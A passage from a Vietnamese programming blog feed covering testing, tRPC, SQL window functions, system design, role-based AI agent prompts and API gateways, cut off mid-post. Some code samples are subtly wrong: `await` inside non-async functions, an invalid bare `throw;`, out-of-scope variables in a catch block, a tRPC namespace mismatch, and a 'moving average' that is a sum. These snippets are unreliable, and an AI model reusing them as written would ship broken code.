  await page.click('button[type=submit]');

  // 3. Verify redirect
  await expect(page).toHaveURL('/dashboard');

  // 4. Create a post
  await page.click('text=New Post');
  await page.fill('[name=title]', 'My First Post');
  await page.fill('[name=content]', 'Hello World!');
  await page.click('button:has-text("Publish")');

  // 5. Post appears
  await expect(page.locator('text=My First Post')).toBeVisible();
});

Coverage

# Vitest
npx vitest --coverage

# output:
# ------------------------|---------|---------|---------|---------|
# File | % Stmts | % Branch| % Funcs | % Lines |
# ------------------------|---------|---------|---------|---------|
# src/utils/ | 95.45 | 88.89 | 100.00 | 95.45 |
# src/api/ | 92.31 | 100.00 | 85.71 | 92.31 |
# src/components/ | 88.57 | 78.95 | 91.67 | 88.57 |
# ------------------------|---------|---------|---------|---------|

Mục tiêu: > 80% coverage. Nhưng nhớ: coverage % không đồng nghĩa code quality.

Mock Database Cho Integration Test

// docker-compose.test.yml
services:
  postgres-test:
    image: postgres:16-alpine
    ports:
      - "5433:5432"
    environment:
      POSTGRES_PASSWORD: test

// vitest.config.ts
export default defineConfig({
  test: {
    globalSetup: './test/setup.ts',
    globalTeardown: './test/teardown.ts',
  },
});

CI — Test Trong Pipeline

test:
  runs-on: ubuntu-latest
  services:
    postgres:
      image: postgres:16-alpine
      env:
        POSTGRES_PASSWORD: test
  steps:
    - uses: actions/checkout@v4
    - run: npm ci
    - run: npm test
      env:
        DATABASE_URL: postgres://postgres:test@localhost:5432/postgres

Tips

Test behavior, không test implementation — đừng test internal state
Mỗi test một concept — nếu test fail, bạn biết ngay cái gì hỏng
AAA Pattern: Arrange (setup) → Act (hành động) → Assert (kiểm tra)
Fake trước, mock sau — dùng in-memory DB thay vì mock DB
Snapshot cho UI — nhưng dùng có chọn lọc, snapshot dễ hỏng

Kết Luận

Viết test không làm bạn chậm — nó làm bạn nhanh hơn về dài hạn. Bắt đầu với unit test cho logic business, thêm integration test cho API, và E2E cho critical user flow. 80% coverage là đủ — chasing 100% thường lãng phí.

Tài liệu tham khảo

tRPC — API Type-Safe Cho TypeScript

Fri, 03 Jul 2026 00:00:00 GMT

tRPC là framework TypeScript thuần xây API type-safe giữa client và server. Không schema riêng, không codegen — TypeScript compiler làm hết.

Client → tRPC Client → HTTP → tRPC Server → Handler
         type inferred ←———————— type defined

REST / GraphQL / tRPC

| | REST | GraphQL | tRPC | |---|---|---|---| | Schema | Không | SDL | TypeScript type | | Type safety | Manual/client-gen | Codegen | Tự động | | Over-fetching | Có | Không | Tuỳ procedure | | Học | Thấp | Trung bình | Rất thấp | | Tooling ecosystem | Lớn | Trung bình | Nhỏ hơn |

tRPC không thay thế REST/GraphQL mọi lúc — nhưng cho fullstack TypeScript, nó giảm đáng kể friction.

Setup

mkdir my-app && cd my-app
npm init -y
npm install @trpc/server @trpc/client zod
npx tsc --init

Server

// server.ts
import { initTRPC } from '@trpc/server';
import { z } from 'zod';
import { createHTTPServer } from '@trpc/server/adapters/standalone';

const t = initTRPC.create();

const todoRouter = t.router({
  list: t.procedure
    .query(async () => {
      return db.select().from(todos);
    }),

  add: t.procedure
    .input(z.object({ text: z.string().min(1) }))
    .mutation(async ({ input }) => {
      return db.insert(todos).values({ text: input.text }).returning();
    }),

  toggle: t.procedure
    .input(z.object({ id: z.number() }))
    .mutation(async ({ input }) => {
      return db.update(todos)
        .set({ done: sql`NOT done` })
        .where(eq(todos.id, input.id));
    }),
});

export type AppRouter = typeof todoRouter;

createHTTPServer({
  router: todoRouter,
  createContext() {
    return { user: getCurrentUser() };
  },
}).listen(3000);

Client

// client.ts
import { createTRPCProxyClient, httpBatchLink } from '@trpc/client';
import type { AppRouter } from './server';

const client = createTRPCProxyClient<AppRouter>({
  links: [httpBatchLink({ url: 'http://localhost:3000' })],
});

// ✅ Tự động suy kiểu — có autocomplete
const todos = await client.todo.list.query();

// ✅ Input kiểm tra type
await client.todo.add.mutate({ text: 'Học tRPC' });
// ❌ Lỗi compile: missing 'text'
await client.todo.add.mutate({});

// ✅ Output có kiểu đầy đủ
todos[0].text;            // string
todos[0].done;           // boolean

Phía client không cần share type bằng tay — import AppRouter là TypeScript tự suy toàn bộ.

Zod Input Validation

input() nhận bất kỳ parser nào. Zod là phổ biến nhất:

const userRouter = t.router({
  create: t.procedure
    .input(
      z.object({
        email: z.string().email(),
        name: z.string().min(2).max(100),
        age: z.number().int().positive().optional(),
      })
    )
    .mutation(async ({ input }) => {
      // input đã được validate + typed
      return createUser(input);
    }),
});

Validation chạy ở server. Lỗi trả về dạng TRPCError code BAD_REQUEST tự động.

Context & Middleware

Context được tạo mỗi request:

createHTTPServer({
  router: todoRouter,
  createContext({ req }) {
    const token = req.headers.authorization?.split(' ')[1];
    const user = token ? verifyToken(token) : null;
    return { user };
  },
});

Middleware cho phép kiểm tra auth tập trung:

const isAuthed = t.middleware(({ ctx, next }) => {
  if (!ctx.user) throw new TRPCError({ code: 'UNAUTHORIZED' });
  return next({ ctx: { ...ctx, user: ctx.user } });
});

const authedProcedure = t.procedure.use(isAuthed);

const authRouter = t.router({
  me: authedProcedure.query(({ ctx }) => ctx.user),
});

Error Handling

const updateRouter = t.router({
  update: t.procedure
    .input(z.object({ id: z.number() }))
    .mutation(async ({ input, ctx }) => {
      const todo = await db.select().from(todos).where(eq(todos.id, input.id));
      if (!todo) throw new TRPCError({
        code: 'NOT_FOUND',
        message: 'Todo không tồn tại',
      });
      if (todo.userId !== ctx.user.id) throw new TRPCError({
        code: 'FORBIDDEN',
        message: 'Không có quyền sửa todo này',
      });
    }),
});

Mã lỗi: PARSE_ERROR, BAD_REQUEST, UNAUTHORIZED, FORBIDDEN, NOT_FOUND, TIMEOUT, CONFLICT, PRECONDITION_FAILED, PAYLOAD_TOO_LARGE, METHOD_NOT_SUPPORTED, INTERNAL_SERVER_ERROR.

React Integration

// utils/trpc.ts
import { createTRPCReact } from '@trpc/react-query';
import type { AppRouter } from '../server';

export const trpc = createTRPCReact<AppRouter>();

// _app.tsx
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { httpBatchLink } from '@trpc/client';
import { trpc } from '../utils/trpc';

const queryClient = new QueryClient();
const trpcClient = trpc.createClient({
  links: [httpBatchLink({ url: 'http://localhost:3000/trpc' })],
});

export default function App({ children }) {
  return (
    <trpc.Provider client={trpcClient} queryClient={queryClient}>
      <QueryClientProvider client={queryClient}>
        {children}
      </QueryClientProvider>
    </trpc.Provider>
  );
}

// Component
function TodoList() {
  const utils = trpc.useUtils();

  // ✅ Tự động caching, refetch, loading/error state
  const { data: todos, isLoading } = trpc.todo.list.useQuery();

  const addMutation = trpc.todo.add.useMutation({
    onSuccess: () => utils.todo.list.invalidate(),
  });

  if (isLoading) return <Spinner />;

  return (
    <ul>
      {todos?.map(todo => (
        <li key={todo.id}>
          <span>{todo.text}</span>
          <button onClick={() => addMutation.mutate({ text: 'New' })}>
            Add
          </button>
        </li>
      ))}
    </ul>
  );
}

Với React Query tích hợp sẵn: auto-refetch, optimistic update, cache invalidation, loading states.

Server-side Rendering (Next.js)

// server/trpc.ts
import { initTRPC } from '@trpc/server';
import { createTRPCNext } from '@trpc/next';
import { httpBatchLink } from '@trpc/client';
import type { AppRouter } from './_app';

// App Router (Next.js 13+)
export const api = createTRPCNext<AppRouter>({
  config() {
    return { links: [httpBatchLink({ url: '/api/trpc' })] };
  },
  ssr: true,
});

// pages/api/trpc/[trpc].ts (Pages Router)
import { createNextApiHandler } from '@trpc/server/adapters/next';
import { appRouter } from '../../../server/_app';

export default createNextApiHandler({
  router: appRouter,
  createContext({ req, res }) {
    return { session: await getSession({ req }) };
  },
});

Với Next.js App Router:

// app/api/trpc/[trpc]/route.ts
import { fetchRequestHandler } from '@trpc/server/adapters/fetch';
import { appRouter } from '@/server/_app';

const handler = (req: Request) =>
  fetchRequestHandler({
    endpoint: '/api/trpc',
    req,
    router: appRouter,
    createContext: () => ({ session: await auth() }),
  });

export { handler as GET, handler as POST };

Khi Nào Dùng tRPC?

✅ Nên dùng

Fullstack TypeScript (monorepo hoặc share type giữa client/server)
Internal API, không public
MVP / startup — cần ship nhanh
Micro-frontend với nhiều service TypeScript
App mobile (React Native) + web cùng API

❌ Không nên

API public cho bên thứ ba (cần OpenAPI/Swagger)
Dùng nhiều ngôn ngữ backend khác (Python, Go, Rust)
Hệ thống legacy không TypeScript
Cần caching HTTP tầng CDN / reverse proxy mạnh

So Sánh Chi Tiết

tRPC vs REST

// REST
GET    /api/todos          → { todos: Todo[] }
POST   /api/todos          → { todo: Todo }
PATCH  /api/todos/:id      → { todo: Todo }

// Client REST
const res = await fetch('/api/todos');
const data = await res.json();
// data: any — mất type, dễ bug

// tRPC
const todos = await trpc.todo.list.query();
// todos: Todo[] — type-safe, autocomplete

tRPC vs GraphQL

# GraphQL
query { todos { id text done } }

# Type định nghĩa riêng SDL → codegen → TypeScript
# Mỗi lần thay đổi schema: chạy codegen lại

# tRPC
await trpc.todo.list.query();
# Type từ server, zero codegen
# Schema = TypeScript type duy nhất

Subscription (Realtime)

const roomRouter = t.router({
  onMessage: t.procedure
    .subscription(async function* ({ input }) {
      for await (const msg of subscribeToRoom(input.roomId)) {
        yield { message: msg };
      }
    }),
});

// React hook
const { data } = trpc.room.onMessage.useSubscription(
  { roomId: 'general' },
  { onData: (msg) => console.log(msg) }
);

Dùng WebSocket phía dưới. Async generator pattern — clean, không callback hell.

Tổ Chức Router

// server/_app.ts — root router
import { router } from './trpc';
import { todoRouter } from './routers/todo';
import { userRouter } from './routers/user';
import { roomRouter } from './routers/room';

export const appRouter = router({
  todo: todoRouter,
  user: userRouter,
  room: roomRouter,
});

export type AppRouter = typeof appRouter;

// server/routers/todo.ts
export const todoRouter = t.router({
  list: t.procedure.query(() => ...),
  add: t.procedure.input(z.object({...})).mutation(() => ...),
});

Chia router theo domain. Client gọi trpc.todo.list.query(), trpc.user.me.query() — namespace tự động.

Middleware Pattern: Rate Limiting

const rateLimit = t.middleware(async ({ ctx, next }) => {
  const key = `rate:${ctx.ip}`;
  const hits = await redis.incr(key);
  if (hits > 100) throw new TRPCError({ code: 'TOO_MANY_REQUESTS' });
  await redis.expire(key, 60);
  return next();
});

const publicProcedure = t.procedure.use(rateLimit);

Error Trả Về Cho Client

try {
  await trpc.todo.update.mutate({ id: 999 });
} catch (error) {
  if (error instanceof TRPCClientError) {
    if (error.data.code === 'NOT_FOUND') {
      notify('Todo không tồn tại');
    }
  }
}

Server trả JSON: { code: 'NOT_FOUND', message: '...', httpStatus: 404 }. Client parse type-safe.

Tổng Kết

tRPC giải quyết vấn đề đau nhất của fullstack TypeScript: type safety không ma sát.

| Ưu điểm | Nhược điểm | |---|---| | Zero codegen — Type compiler làm việc | Chỉ TypeScript | | Tự động suy kiểu đầu ra | Không có schema language | | Validation tích hợp sẵn | Public API khó dùng | | React Query tích hợp ngay | Cộng đồng nhỏ hơn | | Dễ học — vài dòng code | |

tRPC không phải viên đạn bạc. Trong hệ sinh thái fullstack TypeScript, nó là công cụ giảm friction tối đa — focus vào logic thay vì cầu nối.

// Tóm lại: từ server...
export const appRouter = t.router({
  hello: t.procedure
    .input(z.object({ name: z.string() }))
    .query(({ input }) => `Hello, ${input.name}!`),
});

// ...đến client chỉ cần 1 dòng
const msg = await trpc.hello.query({ name: 'World' }); // "Hello, World!"
// ✅ Type-safe từ đầu đến cuối

Tài liệu tham khảo

SQL Window Functions — Phân Tích Dữ Liệu Không Cần Subquery

Thu, 02 Jul 2026 00:00:00 GMT

Window functions tính toán trên một tập hợp các dòng liên quan đến dòng hiện tại — nhưng không gộp chúng lại như GROUP BY.

NOTE: "Window" có nghĩa là tập hợp các dòng được tính toán.

Window Function vs GROUP BY

-- GROUP BY — gộp dòng, mất chi tiết
SELECT department, AVG(salary)
FROM employees
GROUP BY department;

-- Window function — giữ nguyên dòng, thêm cột tính toán
SELECT name, department, salary,
       AVG(salary) OVER (PARTITION BY department) AS dept_avg
FROM employees;

OVER và PARTITION BY

SELECT
  name,
  department,
  salary,
  -- AVG trong từng department
  AVG(salary) OVER (PARTITION BY department) AS dept_avg,
  -- Global AVG
  AVG(salary) OVER () AS company_avg,
  -- Salary so với department average
  ROUND(salary - AVG(salary) OVER (PARTITION BY department)) AS diff_from_dept_avg
FROM employees;

ROW_NUMBER, RANK, DENSE_RANK

SELECT
  name,
  department,
  salary,
  ROW_NUMBER() OVER (ORDER BY salary DESC) AS row_num,
  RANK() OVER (ORDER BY salary DESC) AS rank,
  DENSE_RANK() OVER (ORDER BY salary DESC) AS dense_rank
FROM employees;

| salary | ROW_NUMBER | RANK | DENSE_RANK | |---|---|---|---| | 10000 | 1 | 1 | 1 | | 9000 | 2 | 2 | 2 | | 9000 | 3 | 2 | 2 | | 8000 | 4 | 4 | 3 |

ROW_NUMBER — unique, không trùng
RANK — trùng nhau, bỏ qua số
DENSE_RANK — trùng nhau, không bỏ số

Ví Dụ — Top-N Per Group

-- Top 3 nhân viên lương cao nhất mỗi phòng ban
WITH ranked AS (
  SELECT
    name,
    department,
    salary,
    ROW_NUMBER() OVER (PARTITION BY department ORDER BY salary DESC) AS rn
  FROM employees
)
SELECT name, department, salary
FROM ranked
WHERE rn <= 3;

LEAD và LAG — So Sánh Với Dòng Trước/Sau

SELECT
  date,
  revenue,
  LAG(revenue) OVER (ORDER BY date) AS prev_day_revenue,
  revenue - LAG(revenue) OVER (ORDER BY date) AS daily_change,
  LEAD(revenue) OVER (ORDER BY date) AS next_day_revenue
FROM daily_revenue
ORDER BY date;

| date | revenue | prev_day | change | next_day | |---|---|---|---|---| | 2024-01-01 | 1000 | NULL | NULL | 1200 | | 2024-01-02 | 1200 | 1000 | 200 | 1100 | | 2024-01-03 | 1100 | 1200 | -100 | 1300 |

Ví Dụ — User Session Duration

-- Tính thời gian giữa các hành động của user
SELECT
  user_id,
  action,
  created_at,
  LAG(created_at) OVER (PARTITION BY user_id ORDER BY created_at) AS prev_action,
  EXTRACT(EPOCH FROM created_at - LAG(created_at)
    OVER (PARTITION BY user_id ORDER BY created_at)) AS seconds_since_prev
FROM user_actions;

FIRST_VALUE và LAST_VALUE

SELECT
  department,
  name,
  salary,
  FIRST_VALUE(name) OVER (PARTITION BY department ORDER BY salary DESC) AS highest_paid,
  LAST_VALUE(name) OVER (
    PARTITION BY department
    ORDER BY salary DESC
    RANGE BETWEEN UNBOUNDED PRECEDING AND UNBOUNDED FOLLOWING
  ) AS lowest_paid
FROM employees;

Running Total — Cumulative SUM

SELECT
  date,
  revenue,
  SUM(revenue) OVER (ORDER BY date) AS running_total,
  SUM(revenue) OVER (ORDER BY date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS weekly_moving_avg
FROM daily_revenue;

NTILE — Chia Nhóm

-- Chia employees thành 4 nhóm (quartile) theo lương
SELECT
  name,
  salary,
  NTILE(4) OVER (ORDER BY salary DESC) AS salary_quartile
FROM employees;

-- Phân trang API dùng NTILE
WITH page_groups AS (
  SELECT *,
    NTILE(10) OVER (ORDER BY id) AS page
  FROM products
)
SELECT * FROM page_groups WHERE page = 1;

CUME_DIST và PERCENT_RANK

SELECT
  score,
  CUME_DIST() OVER (ORDER BY score DESC) AS cumulative_dist,  -- % của scores <= hiện tại
  PERCENT_RANK() OVER (ORDER BY score DESC) AS percent_rank    -- relative rank (0-1)
FROM exam_scores;

Ví Dụ Thực Tế

1. Detect Thay Đổi Trạng Thái

WITH changes AS (
  SELECT
    user_id,
    status,
    created_at,
    LAG(status) OVER (PARTITION BY user_id ORDER BY created_at) AS prev_status
  FROM subscriptions
)
SELECT *
FROM changes
WHERE status != prev_status OR prev_status IS NULL;

2. Fill Missing Dates

-- Tạo date series và fill missing values
WITH dates AS (
  SELECT generate_series(
    '2024-01-01'::date,
    '2024-01-31'::date,
    '1 day'::interval
  ) AS date
)
SELECT
  dates.date,
  COALESCE(sales.amount, 0) AS amount,
  SUM(COALESCE(sales.amount, 0)) OVER (ORDER BY dates.date) AS running_total
FROM dates
LEFT JOIN sales ON sales.date = dates.date
ORDER BY dates.date;

3. So Sánh Tháng Này vs Tháng Trước

WITH monthly AS (
  SELECT
    DATE_TRUNC('month', order_date)::date AS month,
    SUM(amount) AS revenue
  FROM orders
  GROUP BY month
)
SELECT
  month,
  revenue,
  LAG(revenue) OVER (ORDER BY month) AS prev_month,
  ROUND((revenue - LAG(revenue) OVER (ORDER BY month))
    / NULLIF(LAG(revenue) OVER (ORDER BY month), 0) * 100, 2) AS growth_pct
FROM monthly;

4. First Purchase per User

SELECT
  user_id,
  order_date,
  amount,
  ROW_NUMBER() OVER (PARTITION BY user_id ORDER BY order_date) AS order_rank
FROM orders;
-- WHERE order_rank = 1 → first purchase

Performance

-- Window functions cần sort — đảm bảo có index phù hợp
CREATE INDEX idx_employees_dept_salary ON employees(department, salary DESC);
CREATE INDEX idx_daily_revenue_date ON daily_revenue(date);

Kết Luận

Window functions là một trong những tính năng SQL mạnh nhất:

ROW_NUMBER() — xếp hạng, top-N per group
LAG/LEAD — so sánh với dòng trước/sau
SUM OVER (ORDER BY) — running total
NTILE — phân nhóm percentile
FIRST_VALUE/LAST_VALUE — giá trị biên

Học window functions = giảm 80% subquery và self-join trong code.

Tài liệu tham khảo

System Design — Từ Monolith Đến Distributed System

Thu, 02 Jul 2026 00:00:00 GMT

System design là kỹ năng thiết kế hệ thống đáp ứng được hàng triệu user. Không chỉ viết code — mà là cách các thành phần giao tiếp, scale, chịu lỗi.

CAP Theorem

Một distributed system chỉ có thể đáp ứng 2 trong 3:

| Tính chất | Ý nghĩa | |---|---| | Consistency | Mọi node thấy cùng dữ liệu tại một thời điểm | | Availability | Mọi request đều nhận được response (không nhất thiết là data mới nhất) | | Partition Tolerance | Hệ thống vẫn hoạt động khi mạng bị chia cắt |

Thực tế: Partition luôn xảy ra → bạn chọn CP hoặc AP:

CP (Consistency + Partition): Bank, payment — ưu tiên đúng hơn có
AP (Availability + Partition): Social media, CDN — ưu tiên có hơn đúng

Load Balancer

Phân phối request đến nhiều server:

User → Load Balancer → [App Server 1]
                        [App Server 2]
                        [App Server 3]

Các thuật toán:

Round Robin — tuần tự
Least Connections — server ít kết nối nhất
IP Hash — cùng IP đến cùng server (session persistence)

Công cụ: Nginx, HAProxy, AWS ALB, Cloudflare Load Balancer

Caching

Lưu dữ liệu hay dùng ở nơi truy xuất nhanh:

Client → CDN (static)
           ↓
Load Balancer → App Server → Cache (Redis) → Database

Cache Strategy

Cache Aside (phổ biến nhất):

async function getUser(id: number) {
  const cached = await redis.get(`user:${id}`);
  if (cached) return JSON.parse(cached);

  const user = await db.getUser(id);
  await redis.set(`user:${id}`, JSON.stringify(user), 'EX', 3600);
  return user;
}

Write Through — ghi DB xong, ghi luôn cache Write Behind — ghi cache trước, async ghi DB sau

Cache Eviction

TTL — tự động xoá sau thời gian
LRU — xoá cái ít dùng nhất
LFU — xoá cái dùng ít nhất

Database Scaling

Read Replicas

Write → Primary DB
Read  → [Replica 1] [Replica 2] [Replica 3]

Sharding — Chia Dữ Liệu Ngang

Shard 1: user_id 1-10000
Shard 2: user_id 10001-20000
Shard 3: user_id 20001-30000

Cách shard:

Hash-based — shard = hash(user_id) % N
Range-based — theo khoảng giá trị
Directory-based — lookup table

Sharding Key — Quan Trọng Nhất

Chọn key sai → một shard quá tải (hotspot), các shard khác rảnh.

Message Queue

Xử lý bất đồng bộ, giảm tải cho server:

App → Queue (RabbitMQ/Kafka) → [Worker 1]
                                [Worker 2]
                                [Worker 3]

Lợi ích:

Decoupling — producer không cần biết consumer
Buffering — chịu được traffic spike
Retry — nếu worker fail, message quay lại queue

Rate Limiting

Bảo vệ hệ thống khỏi abuse:

// Token Bucket với Redis
async function checkRateLimit(userId: string, limit: number, windowSec: number) {
  const key = `ratelimit:${userId}`;
  const current = await redis.incr(key);

  if (current === 1) {
    await redis.expire(key, windowSec);
  }

  if (current > limit) {
    throw new Error('Rate limit exceeded');
  }
}

Monitoring & Observability

Metrics (Prometheus) → Grafana
Logs (ELK/Loki)
Tracing (Jaeger/Tempo)
Alerts (PagerDuty/Slack)

RED Method (Microservices)

Rate — requests/second
Errors — số lỗi
Duration — thời gian xử lý

Ví Dụ — Thiết Kế URL Shortener

Yêu cầu: Tạo short link, redirect, analytics
Traffic: 100M URLs/month, 1000 writes/sec, 10K reads/sec

Design:
1. Load Balancer → Nginx
2. App Server → Stateless, auto-scale
3. Cache → Redis (hot URLs), TTL 24h
4. DB → PostgreSQL, shard by hash(short_code)
5. Queue → Kafka cho analytics (async)
6. ID Generation → Snowflake (Twitter) cho unique ID

Storage:
- 100M URLs × 1KB = 100GB → 3 shard, mỗi shard 35GB

Checklist Phỏng Vấn System Design

Hiểu yêu cầu — functional vs non-functional
Tính toán — traffic, storage, bandwidth
Data model — schema, database
High-level design — components, diagram
Deep dive — từng component chi tiết
Bottleneck — single point of failure, scale

Kết Luận

System design không phải "đáp án đúng" — nó là trade-off. Cache hay không cache? Queue hay sync? SQL hay NoSQL? Câu trả lời luôn là: "It depends". Học cách phân tích trade-off là kỹ năng quan trọng nhất.

Tài liệu tham khảo

Agency Agents — Biến AI Thành Một Team Chuyên Gia Ảo

Wed, 01 Jul 2026 00:00:00 GMT

agency-agents là bộ sưu tập các AI agent chuyên biệt, mỗi agent đóng vai trò như một "nhân sự" trong công ty ảo. Thay vì hỏi AI kiểu chung chung, bạn gọi đúng chuyên gia: Activate Backend Architect — AI chuyển sang vai trò chuyên sâu.

Nó giống như bạn thuê một team:

CEO
 ├── Product Manager
 ├── Frontend Developer
 ├── Backend Architect
 ├── DevOps Engineer
 ├── Security Engineer
 └── QA Engineer

tất cả đều chạy bằng AI.

Vấn Đề Repo Này Giải Quyết

AI hiện tại thường trả lời chung chung, không có chuyên môn cố định, mỗi lần hỏi phải giải thích lại context, chất lượng không ổn định, không có quy trình.

Ví dụ hỏi "Thiết kế database cho SaaS", AI thường trả lời bảng users, products — nhưng Backend Architect thực sự sẽ nghĩ về scaling, indexing, multi-tenancy, migration strategy, failure cases, security.

Repo này biến AI từ general assistant thành specialist team member.

Agent Trong Repo Này Là Gì?

Agent = Persona + Knowledge + Workflow + Rules

Ví dụ Frontend Developer agent:

Identity:    You are a senior frontend engineer.
Mission:     Build performant user interfaces.
Rules:       Prioritize accessibility, Core Web Vitals, clean components.
Workflow:    Analyze → Design → Implement → Review performance

Khi AI đọc file này, nó "đóng vai" — không còn trả lời chatbot chung.

Cấu Trúc Một Agent

Identity — AI là ai? "You are a senior backend architect with 15 years experience."
Core Mission — Agent tồn tại để làm gì.
Critical Rules — Luật làm việc (không suggest DB không bàn scale, luôn mention trade-offs).
Technical Deliverables — Output cụ thể (schema, migration, index strategy, API design).
Workflow — Quy trình (Requirement → Architecture → Implementation → Review → Optimization).

Các Nhóm Agent

Engineering Division:

| Agent | Dùng khi | |---|---| | Frontend Developer | React, Vue, UI, performance, component architecture | | Backend Architect | API, database, microservices, scaling | | DevOps Automator | CI/CD, Docker, K8s, cloud deploy | | Security Engineer | Auth, permission, injection, secret management |

Product Division:

| Agent | Dùng khi | |---|---| | Product Manager | Viết PRD, roadmap, feature priority, user persona |

Testing Division:

| Agent | Dùng khi | |---|---| | Reality Checker | Kiểm tra proof, production readiness | | Evidence Collector | Screenshot, test evidence, QA proof |

Ví Dụ Workflow

Giả sử bạn muốn làm SaaS:

Product Manager — Define MVP, user persona, feature list
UX Designer — Design flow (login, dashboard, task creation)
Backend Architect — Database schema, API design, scaling
Frontend Developer — Components, state management, API integration
Security Engineer — Review auth, permission, data leakage
QA — Verify tests, screenshots, edge cases

Kết quả: AI giống một team startup.

Dùng Với Tool Nào?

Hỗ trợ Claude Code, GitHub Copilot, Cursor, OpenCode, Aider, Windsurf, Gemini CLI, OpenClaw.

Ví dụ với Claude Code:

cp engineering/*.md ~/.claude/agents/

Sau đó trong Claude Code: Use Backend Architect agent, design my API.

Khác Gì Prompt Thường?

Prompt thường: "Bạn là developer giỏi. Viết API." — AI không biết workflow, output format, tiêu chuẩn.

Agent có cấu trúc: Identity + Workflow + Rules + Deliverables — tạo consistency.

Điểm Mạnh

Thực dụng — Copy, install, use. Không lý thuyết AI.
Dễ customize — Tự tạo agent cho công ty riêng (Vietnam Startup CTO Agent, ưu tiên Laravel + PostgreSQL).
Hợp solo developer — Một người có AI CTO, AI Designer, AI Tester, AI Marketer.

Điểm Yếu

Không thay thế skill — Bạn cần review output. Nếu không biết backend, Backend Architect vẫn có thể sai.
Quá nhiều agent gây rối — 1 Senior Developer Agent tốt hơn 10 agent tranh luận.
Context cost — Mỗi agent thêm instruction, rules, examples → tốn token hơn.

Kết Luận

agency-agents biến AI từ "chatbot biết code" thành "team chuyên gia AI có vai trò rõ ràng". Hợp với solo developer, startup, làm MVP nhanh, dùng Claude Code / Cursor / OpenCode.

Bản chất là prompt engineering + role specialization — không phải multi-agent AI tự trị. Nhưng với workflow đúng, nó cực kỳ hiệu quả.

Tài liệu tham khảo

API Gateway — Kong, APISIX, Custom Gateway Với Node.js

Wed, 01 Jul 2026 00:00:00 GMT

API Gateway là entry point duy nhất cho tất cả client — routing, auth, rate limiting, transformation tập trung tại một chỗ.

Gateway Làm Gì?

Client → API Gateway
            ├── /api/users → users-service
            ├── /api/orders → orders-service
            ├── /api/products → products-service
            └── /graphql → graphql-service

Chức năng:

Routing — chuyển request đến service đúng
Authentication — xác thực trước khi vào internal
Rate limiting — bảo vệ backend
Transformation — đổi format request/response
Caching — cache response cho GET request
Monitoring — collect metrics và logs
Load balancing — phân phối đến nhiều instances

Kong Gateway

Kong là open-source API gateway phổ biến nhất — dùng Nginx core.

Docker Compose

services:
  kong:
    image: kong:latest
    environment:
      KONG_DATABASE: postgres
      KONG_PG_HOST: kong-database
    ports:
      - "8000:8000"   # Proxy
      - "8001:8001"   # Admin API
      - "8443:8443"   # Proxy HTTPS
    depends_on:
      - kong-database

  kong-database:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: kong
      POSTGRES_DB: kong

Config Routes

# Add service
curl -X POST http://localhost:8001/services \
  --data name=users-service \
  --data url=http://users-container:3000

# Add route
curl -X POST http://localhost:8001/services/users-service/routes \
  --data paths[]=/api/users \
  --data methods[]=GET \
  --data methods[]=POST

# Enable rate limiting plugin
curl -X POST http://localhost:8001/services/users-service/plugins \
  --data name=rate-limiting \
  --data config.minute=100 \
  --data config.policy=local

# Enable auth plugin (JWT)
curl -X POST http://localhost:8001/services/users-service/plugins \
  --data name=jwt

APISIX — Modern, Fast

APISIX dùng Lua (OpenResty), nhanh hơn Kong ở nhiều benchmark.

services:
  apisix:
    image: apache/apisix:latest
    ports:
      - "9080:9080"  # HTTP
      - "9443:9443"  # HTTPS
    volumes:
      - ./apisix.yaml:/usr/local/apisix/conf/config.yaml

# apisix.yaml
routes:
  - uri: /api/users/*
    upstream:
      nodes:
        "users-service:3000": 1

  - uri: /api/orders/*
    upstream:
      nodes:
        "orders-service:3000": 1
    plugins:
      jwt-auth: ~
      limit-count:
        count: 100
        time_window: 60
      prometheus: ~

Custom Gateway — Node.js + Express

Khi công cụ có sẵn không đáp ứng — tự viết gateway:

import express from 'express';
import { createProxyMiddleware } from 'http-proxy-middleware';
import rateLimit from 'express-rate-limit';
import Redis from 'ioredis';

const app = express();
const redis = new Redis();

// Global middleware
app.use(helmet());
app.use(cors({ origin: ['https://myapp.com'] }));

// Auth middleware
async function authenticate(req: Request, res: Response, next: NextFunction) {
  const token = req.headers.authorization?.split('Bearer ')[1];
  if (!token) {
    return res.status(401).json({ error: 'Missing token' });
  }

  // Verify với auth service
  const user = await verifyToken(token);
  if (!user) {
    return res.status(401).json({ error: 'Invalid token' });
  }

  req.user = user;
  next();
}

// Rate limit dựa trên API key
app.use('/api', rateLimit({
  keyGenerator: (req) => req.headers['x-api-key'] as string || req.ip,
  windowMs: 60_000,
  max: 100,
}));

// Route to services
const services = {
  users: 'http://users-service:3000',
  orders: 'http://orders-service:3000',
  products: 'http://products-service:3000',
  notifications: 'http://notifications-service:3000',
};

Object.entries(services).forEach(([name, target]) => {
  app.use(`/api/${name}`, authenticate, createProxyMiddleware({
    target,
    changeOrigin: true,
    onProxyReq: (proxyReq, req) => {
      // Forward user info
      proxyReq.setHeader('X-User-Id', req.user.id);
      proxyReq.setHeader('X-User-Role', req.user.role);
    },
    onError: (err, req, res) => {
      logger.error({ err, service: name }, 'Proxy error');
      res.status(502).json({ error: `${name} service unavailable` });
    },
  }));
});

// Circuit breaker pattern
class CircuitBreakerProxy {
  private failures = 0;
  private state: 'closed' | 'open' = 'closed';

  async proxy(req: Request, res: Response, target: string) {
    if (this.state === 'open') {
      return res.status(503).json({ error: 'Service circuit open' });
    }

    try {
      await proxyRequest(req, res, target);
      this.failures = 0;
    } catch {
      this.failures++;
      if (this.failures >= 5) {
        this.state = 'open';
        setTimeout(() => { this.state = 'closed'; this.failures = 0; }, 30000);
      }
      throw;
    }
  }
}

Response Aggregation

Gateway gộp response từ nhiều service:

app.get('/api/dashboard', authenticate, async (req, res) => {
  try {
    const [user, orders, notifications] = await Promise.all([
      fetch(`http://users-service:3000/users/${req.user.id}`).then(r => r.json()),
      fetch(`http://orders-service:3000/orders?userId=${req.user.id}&limit=5`).then(r => r.json()),
      fetch(`http://notifications-service:3000/notifications?userId=${req.user.id}`).then(r => r.json()),
    ]);

    res.json({
      user: { id: user.id, name: user.name, email: user.email },
      recentOrders: orders,
      unreadNotifications: notifications.filter(n => !n.read).length,
    });
  } catch (err) {
    // Partial failure — trả về những gì có
    res.json({
      user: user || null,
      recentOrders: orders || [],
      unreadNotifications: 0,
      _degraded: true,
    });
  }
});

Gateway với GraphQL Federation

Gateway GraphQL hợp nhất nhiều GraphQL service:

import { ApolloGateway, IntrospectAndCompose } from '@apollo/gateway';
